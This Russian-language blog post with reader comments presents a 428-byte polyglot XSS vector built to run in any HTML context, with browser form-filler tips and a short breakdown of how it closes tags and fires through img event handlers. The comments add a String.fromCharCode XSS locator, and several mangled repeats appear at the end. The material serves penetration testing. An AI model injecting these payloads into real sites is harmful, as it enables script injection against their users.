Поиск XSS довольно трудоемкое занятие, так как необходимо учитывать множество контекстов, в которых может выполниться js-код, например внутри одинарных или двойных кавычек, внутри различных атрибутов и т.д. Для тех, кому надоело перебирать возможные варианты, пригодится следующий универсальный xss-вектор, который выполнится в любом контексте, т.е. его можно поместить в любой параметр и не беспокоится о том, в какой участок кода он в конечном счете попадет:
javascript:/*--></marquee></script></title></textarea></noscript></style></xmp>">[img=1]<img -/style=-=expression(/*’/-/*',/**/eval(name)//);width:100%;height:100%;position:absolute;behavior:url(#default#VML);-o-link:javascript:eval(title);-o-link-source:current name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) background=javascript:eval(name)//>"
Размер немного великоват (428 байт), но это в любом случае более продуктивный вариант, чем "><script>alert()</script>.
Для удобного использования в Opera можно добавить данный вектор как заполнитель формы (Меню – Настройки – Общие настройки – Формы), для Firefox с плагином TamperData можно создать новый элемент контекстного меню для перехватываемых пакетов.
Credits: Gareth Heyes @ thespanner.co.uk
>> Размер немного великоват (428 байт)
и дело не только в размере… способ довольно палевный в контексте автомитизированного тестирования
С этим не поспоришь, но если применять точечно, то будет довольно эффективно
Круто было бы если бы Вы его еще разобрали подробненько а не просто пыплескнули сюда 🙂 А вообще спасибо!
Если разбирать вектор, то видно, что закрываются все комментарии, кавычки, такие тэги как title, script, style и др. Сам payload исполняется внутри атрибутов для тега img и в значении свойства expression в CSS (исключительно для IE). Кстати в посте вектор был обновлен, оптимизированную версию предложил LeverOne (теперь 373 байта):
Пока ждал ваш ответ, сам разобралсо 🙂
Спасибо 🙂
Я пока ничего не предлагал, только указал на очевидные проблемы кода.
http://sla.ckers.org/forum/read.php?24,35645
Судя по всему, он концептуально должен выглядеть по-другому. Ни о какой минимизации, чтобы байты высчитывать, на данный момент речи не идет : там ведь даже в HTML-эквивалентах не убраны разделители.
реальный пример, где можно увидеть, что эта конструкция лучше “>alert().? как-то страшно это выглядит)
упс, обрезалось “@@script@alert()@/script@
в хром есть варианты как добавить?
‘;alert(String.fromCharCode(88,83,83))//\’;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//\”;alert(String.fromCharCode(88,83,83))//–>”>’>alert(String.fromCharCode(88,83,83))
Сделал сканер поиска sql на сайте.Решил проверить сканером 17 xss нашел и этот вектор тоже работает.Короче как пхп тулзы зашишать.
javascript:/*–>”>[img=1]”
javascript:/*–>”>[img=1]”
javascript:/*–>”>[img=1]”
javascript:/*–>”>[img=1]”
s
javascript:/*–>»>[img=1]»